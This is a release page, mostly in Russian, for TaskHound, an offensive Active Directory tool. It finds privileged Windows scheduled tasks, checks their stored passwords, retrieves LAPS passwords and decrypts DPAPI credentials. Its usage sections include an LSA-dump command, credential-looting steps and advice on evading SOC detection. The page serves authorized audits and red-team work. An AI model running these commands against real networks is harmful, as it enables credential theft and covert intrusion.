Назад к обновлениям
New releaseSep 3, 2026

TaskHound v1.2.0

Инструмент для перечисления привилегированных запланированных задач на удаленных системах

Поделиться

Логотип TaskHound

Инструмент для обнаружения привилегированных запланированных задач Windows для удовольствия и прибыли.

Последний релиз BloodHound OpenGraph Python 3.11+
Спросить DeepWiki Twitter Блог


TaskHound охотится за запланированными задачами Windows, выполняющимися с привилегированными учётными записями и сохранёнными учётными данными. Он перечисляет задачи через SMB, разбирает XML и определяет ценные возможности для атак с помощью интеграции с BloodHound.

Предысторию и подробные объяснения см. в соответствующих записях блога — Часть 1 и Часть 2.

Ключевые возможности

ФункцияОписание
Обнаружение Tier 0 и высокоприоритетных целейАвтоматически выявляет задачи, выполняющиеся от имени администраторов домена, администраторов предприятия и других привилегированных учётных записей
Интеграция с BloodHoundПодключение к действующим экземплярам BHCE/унаследованным версиям или импорт экспортированных данных для обнаружения высокоприоритетных пользователей
Поддержка OpenGraphВизуализация запланированных задач как узлов путей атак в BloodHound CE
Интеграция с LAPSАвтоматическое получение и использование паролей LAPS (как Windows LAPS, так и устаревших версий) для аутентификации на каждом узле
Извлечение учётных данных DPAPIСбор и расшифровка BLOB-объектов DPAPI, содержащих сохранённые учётные данные задач
Многопоточное сканированиеПараллельная обработка целей с ограничением скорости для больших сред
Обнаружение Tier-0 через LDAPВыявление привилегированных учётных записей по членству в группах без BloodHound
Проверка учётных данныхПодтверждение актуальности паролей сохранённых задач через RPC
Автономный анализОбработка образов смонтированных дисков или ранее собранных XML-файлов
Несколько форматов выводаОтчёты в формате обычного текста, JSON, CSV и HTML с оценкой степени серьёзности
Разрешение SIDМногоуровневое разрешение через BloodHound → Кэш → LSARPC → LDAP → GC
КэшированиеПостоянный кэш на SQLite для поиска SID и учётных данных LAPS

Быстрый старт```bash

Install

git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .

Basic usage - single target

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple targets with threading

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10

Auto-discover all domain computers

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20

With LAPS - auto-retrieves per-host local admin passwords

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

Offline analysis of mounted disk image

taskhound --offline-disk /mnt/disk

> **Auth Support**: TaskHound поддерживает большинство основных механизмов аутентификации, включая пароль, NTLM-хэш, Kerberos (также с ccache) и аутентификацию с помощью ключа AES.

## Файл конфигурации

TaskHound поддерживает TOML-файлы конфигурации для постоянных настроек. Создайте `taskhound.toml` в вашем рабочем каталоге или `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"

[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30

[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}"      # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"

[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"

[laps]
enabled = true

[cache]
enabled = true
ttl = 86400  # 24 hours

Приоритет: аргументы CLI > переменные окружения > локальная конфигурация > конфигурация пользователя > значения по умолчанию

Интеграция с AdaptixC2

BOF TaskHound включен в Adaptix Extension-Kit в директории SAR-BOF/taskhound/.

Демо-вывод```

TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD

                 by 0xr0BIT

[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)

┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘

╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯

---

## Интеграция с BloodHound

TaskHound поддерживает как **Legacy BloodHound** (Neo4j), так и **BloodHound Community Edition (BHCE)** с автоматическим определением формата.

### Прямое подключение```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"

# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-user admin --bh-password password

# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
  --bh-user neo4j --bh-password password

Tier 0 Detection Methods

SourceМетод обнаружения
BHCEisTierZero, системные теги (admin_tier_0), AdminSDHolder
УстаревшиеAdminSDHolder (admincount=1), обнаружение на основе SID
LDAPзапросы членства в группах (--ldap-tier0)
ВстроенныеИзвестные SID уровня 0 (Domain Admins, Enterprise Admins, и т.д.)

Автономная загрузка данных

Если прямое подключение невозможно, экспортируйте ценных пользователей с помощью следующих Cypher-запросов:

BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;

**Наследие:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups

Затем используйте: taskhound --bh-data exported_users.json ...


Визуализация цепочки атак OpenGraph

Цепочка атак OpenGraph

TaskHound создаёт пользовательские узлы и рёбра в BloodHound CE для визуализации цепочек атак запланированных задач.

Что вы получаете:

  • Пользовательские узлы: ScheduledTask с 20+ свойствами (учётные данные, триггеры, анализ паролей, статус проверки)
  • Пользовательские рёбра: HasTask, HasTaskWithStoredCreds, RunsAs
  • Пути атак: `(Owned) → AdminTo → (Computer) → HasTask → (Task) → RunsAs → (Target)````bash

Collect and auto-upload

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph

Generate without upload (saves to {output_dir}/opengraph/)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload

> **Примечание**: OpenGraph работает только с BHCE. Устаревший BloodHound не поддерживает пользовательские типы узлов.

---

## Интеграция LAPS

TaskHound может автоматически получать и использовать пароли LAPS для аутентификации на каждом хосте. Поддерживает как Windows LAPS (`msLAPS-Password`), так и устаревший LAPS (`ms-Mcs-AdmPwd`), включая зашифрованные пароли через MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin

# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps

Поддерживаемые типы LAPS:

ТипАтрибутЗашифрован
Windows LAPSmsLAPS-PasswordНет
Windows LAPSmsLAPS-EncryptedPasswordДа (MS-GKDI)
Legacy LAPSms-Mcs-AdmPwdНет

Извлечение учетных данных DPAPI

TaskHound извлекает и расшифровывает сохраненные учетные данные задач с помощью DPAPI. Сбор данных DPAPI включен по умолчанию.```bash

Step 1: Get DPAPI_SYSTEM key via LSA dump

nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa

Look for: DPAPI_SYSTEM userkey: 0x51e43225...

Step 2a: Loot + decrypt immediately (looting is default, just add key)

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...

Step 2b: Or collect now (default saves to ./output/raw_backups/), decrypt later

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local

Later:

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

Custom output directory

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected

Disable DPAPI looting explicitly

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot

> **Важно**: Каждый хост имеет уникальный ключ DPAPI_SYSTEM. Для многоцелевого сканирования сначала соберите (по умолчанию), затем расшифруйте каждую цель офлайн.

---

## Проверка учётных данных

TaskHound оценивает, вероятно ли, что сохранённые пароли задач всё ещё действительны, запрашивая историю выполнения задач через RPC и применяя эвристику. Эта функция **включена по умолчанию**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds

Как это работает

Планировщик задач Windows записывает только успешные выполнения задач. Сбои аутентификации (неверный пароль, заблокированная учетная запись и т. д.) молча игнорируются. Задача просто не выполняется.

Ключевой момент: Windows проверяет учетные данные при создании задачи. Если попытаться создать задачу с неверным паролем, возникает ERROR_LOGON_FAILURE, и задача не создается. Это означает: если задача с сохраненными учетными данными существует, пароль был действителен на момент создания задачи.

TaskHound использует эвристику для оценки достоверности учетных данных:

СтатусЗначение
CONFIRMED_VALIDПароль не изменялся с момента создания задачи И задача выполнялась по плану — учетные данные подтверждены как рабочие
HIGH_CONFIDENCE_VALIDПароль не изменялся с момента создания задачи, но время триггера неизвестно (например, триггер загрузки) — учетные данные, вероятно, действительны
LIKELY_VALIDПароль изменен, но задача выполнялась по расписанию (учетные данные обновлены), ИЛИ задача успешно выполнена (режим только RPC)
POSSIBLY_STALEЗадача должна была выполниться, но не выполнилась — может указывать на устаревшие учетные данные
DEFINITELY_STALEПароль изменен после последнего успешного выполнения — учетные данные определенно неверны
NEVER_RAN_LIKELY_VALIDЗадача ни разу не выполнялась, но пароль не изменялся с момента создания — вероятно, действительна (может отсутствовать право пакетного входа)
NEVER_RAN_POSSIBLY_STALEЗадача ни разу не выполнялась, и пароль изменен после создания — вероятно, устарела
NEVER_RAN_UNKNOWNЗадача ни разу не выполнялась, нет контекста AD — была действительна при создании, текущий статус неизвестен
UNKNOWNНевозможно определить (учетная запись заблокирована и т. д.)

Ключевой момент: сравнение pwdLastSet из AD с LastRunTime из планировщика задач показывает, изменился ли пароль после последнего успешного выполнения. Для задач, которые никогда не запускались, сравнение pwdLastSet с task_creation_date показывает, изменился ли пароль после того, как задача была создана с действительными учетными данными.

Без данных AD (например, при --no-ldap и отсутствии BloodHound): TaskHound возвращается в режим только RPC, используя только код возврата и время последнего запуска. Успешное выполнение возвращает LIKELY_VALID; обнаружение устаревания на основе расписания все еще применяется, если интервал триггера известен из XML задачи.

Примечание: Отключено при использовании --opsec или --no-rpc.


Форматы вывода

TaskHound поддерживает несколько форматов вывода для различных сценариев использования. Все выходные данные используют структурированную структуру каталогов в --output-dir (по умолчанию: ./output).

Доступные форматы

ФорматФлагОписаниеСценарий использования
Plain-o plainВывод в консоль в удобочитаемом виде (по умолчанию)Интерактивное использование, быстрый просмотр
JSON-o jsonСтруктурированный экспорт для машинной обработкиАвтоматизация, анализ данных, написание скриптов
CSV-o csvЭкспорт, совместимый с электронными таблицамиОтчетность, фильтрация, анализ в Excel
HTML-o htmlОтчет безопасности с оценкой серьезностиАудиты синих команд, отчеты для заинтересованных сторон

Примеры использования```bash

Default - plain text to console + files

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple output formats

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html

JSON only for automation

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json

Custom output directory

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results

All formats for comprehensive audit

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit

### Структура каталога```
./output/                           # Base directory (--output-dir)
├── plain/                          # Plain text output
│   └── <hostname>/
│       └── tasks.txt
├── json/                           # JSON export
│   └── taskhound.json
├── csv/                            # CSV export
│   └── taskhound.csv
├── html/                           # HTML security reports
│   └── taskhound.html
├── opengraph/                      # BloodHound OpenGraph files
│   └── taskhound_data.json
└── raw_backups/                    # Raw collection (XML + DPAPI)
    └── <hostname>/
        ├── tasks/                  # Task XML files
        └── dpapi_loot/             # DPAPI credential blobs

Отчеты безопасности в формате HTML

Вывод HTML формирует всесторонний отчет безопасности, предназначенный для оценки со стороны синей команды:

  • Оценка серьезности: Задачи, оцененные по уровню риска на основе привилегий, сохраненных учетных данных и конфигурации
  • Детали задачи: Полные метаданные, включая триггеры, действия, учетные записи запуска и статус проверки
  • Фильтрация: Фильтрация на стороне клиента по хосту, серьезности и статусу учетных данных
  • Готовность к экспорту: Подходит для отчетов руководства и аудиторской документации

Сбор резервных копий

По умолчанию TaskHound сохраняет необработанные XML-файлы задач и большие двоичные объекты учетных данных DPAPI для автономного анализа:```bash

Disable backup collection

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup

Analyze backups later (offline mode)

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

## Многопоточное сканирование

Для больших сред используйте параллельное сканирование с ограничением скорости:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5

# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20

# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90

# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0

Фильтрация автоматических целей

По умолчанию --auto-targets применяет умную фильтрацию для уменьшения шума и неудачных подключений:

ФильтрПо умолчаниюПереопределение
Отключенные учетные записиИсключены--include-disabled
Устаревшие компьютеры (>60 дней)Исключены--stale-threshold 0 (отключить)
Контроллеры доменаИсключены--include-dcs

Приоритет источника данных: BloodHound (если настроен) → LDAP как запасной вариант

При использовании BloodHound TaskHound выполняет запросы с include_properties=true для эффективного однозапросного перечисления. Если данные BloodHound старше 7 дней, выводится предупреждение; более 30 дней — срочное предупреждение.

Предустановки фильтров:

  • servers — только операционные системы Windows Server
  • workstations — только несерверные операционные системы
  • (raw LDAP) — пользовательский LDAP-фильтр (требуется источник LDAP)

Разрешение SID

TaskHound разрешает SID в читаемые имена, используя многоуровневую цепочку запасных вариантов:

  1. BloodHound (если подключен) — самый быстрый, без сетевого трафика
  2. Кэш — постоянный кэш SQLite (TTL по умолчанию 24 ч)
  3. LSARPC — прямой запрос к цели (наиболее точный для локальных учетных записей)
  4. LDAP — запрос к контроллеру домена
  5. Глобальный каталог — для SID из разных доменов/лесов```bash

Separate LDAP credentials for SID resolution

taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local

Specify Global Catalog for multi-domain

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1

Disable all network-based resolution (OPSEC)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec

---

## Автономный анализ

Анализируйте задачи без доступа к сети:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local

# Mounted disk image
taskhound --offline-disk /mnt/disk

# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE

Соображения OPSEC

TaskHound предоставляет детальный контроль над сетевыми операциями для балансировки между скрытностью и функциональностью.

Влияние на протоколы

ПротоколОперацииФлаг для отключения
SMBПеречисление задач (всегда используется)N/A
LDAP (389/636)Разрешение SID, обнаружение Tier-0, pwdLastSet--no-ldap
Глобальный каталог (3268)Междоменное разрешение SID--no-ldap
LSARPC (SMB pipe)Резервное разрешение SID--no-rpc
Удаленный реестр (SMB pipe)Обнаружение Credential Guard--no-credguard
Планировщик задач RPC (SMB pipe)Проверка учетных данных--no-validate-creds
Сбор файлов DPAPI (SMB)Сбор блобов учетных данных DPAPI--no-loot

Цепочка разрешения SID```

Default: BloodHound → Cache → LSARPC → LDAP → GC --no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC --opsec: BloodHound → Cache (only)

### Поведение по умолчанию

TaskHound **очень шумный по умолчанию** — все функции включены для максимальной видимости. Это делает его идеальным для аудитов и комплексных оценок, где OPSEC не является проблемой:

- **Обнаружение Credential Guard** — включено по умолчанию (отключить с помощью `--no-credguard`)
- **Проверка учетных данных** — включена по умолчанию (отключить с помощью `--no-validate-creds`)
- **Извлечение DPAPI** — включено по умолчанию (отключить с помощью `--no-loot`)
- **Разрешение LDAP** — включено по умолчанию (отключить с помощью `--no-ldap`)
- **Операции RPC** — включены по умолчанию (отключить с помощью `--no-rpc`)

> [!WARNING]
> **Проверки Credential Guard очень заметны.** Поскольку служба Remote Registry по умолчанию остановлена в современных Windows, TaskHound удаленно **запустит службу** через SCM, выполнит проверки, а затем остановит ее (как и secretsdump). Это заставит любую приличную SOC засиять как новогодняя елка. **Обязательно используйте `--no-credguard`, если хотите избежать этого в заданиях!**

Говоря о заданиях: для операций красной команды/скрытных операций используйте `--opsec`, чтобы отключить все шумные функции сразу. (Или используйте BOF).

### Примеры использования```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec

# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5

# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap

# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc

# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps

Лучшие практики для скрытности

  1. Предварительно заполнить данные BloodHound — сначала импортировать данные домена с помощью --bh-live
  2. Использовать флаг --opsec — разово отключает все шумные операции
  3. Добавить --jitter для рандомизации времени — избежать предсказуемых шаблонов сканирования
  4. Собирать XML-файлы другими средствами — анализировать офлайн с помощью --offline
  5. Использовать реализацию BOF — доступна в AdaptixC2

Полная справка по CLI

TaskHound использует Rich для форматированного вывода в консоль с цветными таблицами и индикаторами выполнения.``` taskhound --help

<details>
<summary>Нажмите, чтобы развернуть полное использование</summary>```
Usage: taskhound [OPTIONS] [TARGETS]

AUTHENTICATION OPTIONS
  -u, --username        Username (required for online mode)
  -p, --password        Password (omit with -k for Kerberos/ccache)
  -d, --domain          Domain (required for online mode)
  --hashes              NTLM hashes (LM:NT or NT-only)
  -k, --kerberos        Use Kerberos authentication
  --aes-key             AES key for Kerberos (32 or 64 hex chars)

TARGET OPTIONS
  -t, --target          Single target or comma-separated list
  --targets-file        File with targets, one per line
  --dc-ip               Domain controller IP
  --ns, --nameserver    DNS nameserver for lookups
  --timeout             Connection timeout in seconds (default: 5)
  --threads             Parallel worker threads (default: 10)
  --rate-limit          Max targets per second (default: unlimited)
  --jitter SECONDS      Random delay (0-N seconds) between hosts (OPSEC, sequential only)
  --dns-tcp             Force DNS over TCP (for SOCKS proxies)
  --auto-targets        Auto-discover targets (BloodHound first, LDAP fallback)
  --ldap-filter         Filter for auto-targets: 'servers', 'workstations', or raw LDAP
  --include-dcs         Include Domain Controllers in auto-targets
  --include-disabled    Include disabled computer accounts
  --stale-threshold     Exclude computers inactive >N days (default: 60, 0=disable)

SCANNING OPTIONS
  --offline             Parse XMLs from directory
  --offline-disk        Analyze mounted Windows filesystem
  --disk-hostname       Override hostname for offline-disk
  --bh-data             BloodHound export file for HV detection
  --opsec               Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
  --no-rpc              Disable RPC operations (LSARPC, CredGuard, validation)
  --include-ms          Include \Microsoft tasks
  --include-local       Include local system accounts
  --include-all         Include ALL tasks
  --unsaved-creds       Show tasks without stored credentials
  --no-credguard        Disable Credential Guard detection (default: enabled)
  --no-validate-creds   Disable credential validation (default: enabled)

BLOODHOUND OPTIONS
  --bh-live             Enable live BloodHound connection
  --bh-connector        BloodHound URI (default: http://127.0.0.1:8080)
  --bh-user             BloodHound username
  --bh-password         BloodHound password
  --bh-api-key          BloodHound API key
  --bh-api-key-id       BloodHound API key ID
  --bh-timeout          API query timeout (default: 120)
  --bhce                Use BHCE (Community Edition)
  --legacy              Use Legacy BloodHound (Neo4j)
  --bh-save             Save query results to file

OPENGRAPH OPTIONS (BHCE ONLY)
  --bh-opengraph        Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
  --bh-no-upload        Skip automatic upload
  --bh-force-icon       Force icon update
  --bh-icon             Icon name (default: clock)
  --bh-color            Icon color (default: #8B5CF6)
  --bh-allow-orphans    Create edges for missing nodes

DPAPI OPTIONS
  --no-loot             Disable DPAPI credential collection (default: enabled)
  --dpapi-key           DPAPI_SYSTEM userkey (hex format)

LDAP/SID RESOLUTION
  --no-ldap             Disable LDAP/GC operations
  --ldap-user           Alternative LDAP username
  --ldap-password       Alternative LDAP password
  --ldap-hashes         Alternative LDAP hashes
  --ldap-domain         Alternative LDAP domain
  --ldap-tier0          Enable LDAP-based Tier-0 detection
  --gc-server           Global Catalog server IP

LAPS OPTIONS
  --laps                Enable LAPS authentication
  --laps-user           Override local admin username
  --force-laps          Force LAPS in OPSEC mode

CACHE OPTIONS
  --cache-ttl           Cache TTL in seconds (default: 86400)
  --no-cache            Disable caching
  --clear-cache         Clear cache before run
  --cache-file          Cache file path

OUTPUT OPTIONS
  -o, --output          Output formats (comma-separated: plain,json,csv,html)
                        Default: plain
  --output-dir          Base output directory (default: ./output)
  --no-backup           Disable raw XML backup collection
  --no-summary          Disable summary table

  Output directory structure:
    ./output/
    ├── plain/<host>/tasks.txt    # Plain text output
    ├── json/taskhound.json       # JSON export
    ├── csv/taskhound.csv         # CSV export
    ├── html/taskhound.html       # HTML security report
    ├── opengraph/                # BloodHound OpenGraph files
    └── raw_backups/<host>/       # Raw XML + DPAPI files
        ├── tasks/                # Task XML files
        └── dpapi_loot/           # DPAPI credential blobs

MISC
  --verbose             Verbose output
  --debug               Debug output with stack traces

План развития

Когда потребление кофеина и свободное время совпадут:

Недавно завершено

  • Аутентификация по API-ключу — подписанные запросы HMAC-SHA256
  • Поддержка LAPS — Windows LAPS + Legacy + шифрование через MS-GKDI
  • Многопоточная обработка — параллельное сканирование с ограничением скорости
  • Проверка учётных данных — проверка валидности паролей на основе RPC
  • Несколько форматов вывода — Plain, JSON, CSV, HTML с структурированным расположением каталогов
  • Автоматическое обнаружение целей — перебор компьютеров через LDAP
  • Режим офлайн-диска — анализ смонтированных образов дисков
  • Постоянное кэширование — SQLite-кеш для данных SID/LAPS
  • Богатый консольный вывод — цветные таблицы и индикаторы прогресса
  • Поддержка кросс-доменов — многодоменные среды с доверительными отношениями

Запланировано

  • Модуляризация этапов: Инструмент превратился в монстра со слишком большим количеством флагов. Я это исправлю.
  • Интеграция информации об абузе: Техники MITRE ATT&CK в узлах BloodHound
  • Пользовательские Tier-0 отображения: Поддержка задаваемых пользователем зон привилегий в BHCE
  • Проверки для Linux: Поддержка сканирования операционных систем на базе *nix

Благодарности

И всем, кто внёс вклад в доступность инструментов для защиты от атак.


Отказ от ответственности

TaskHound — это строго аудиторский и образовательный инструмент. Используйте только в тех средах, которыми владеете или на тестирование которых получили явное разрешение. Серьёзно. Не будьте мудаком.

Участие в разработке

PR приветствуются. Половина этого была написана под кофеином в потоке, так что не ждите чудес.

Лицензия

Используйте ответственно. Гарантии не предоставляется. Подробности в файле LICENSE.

Категории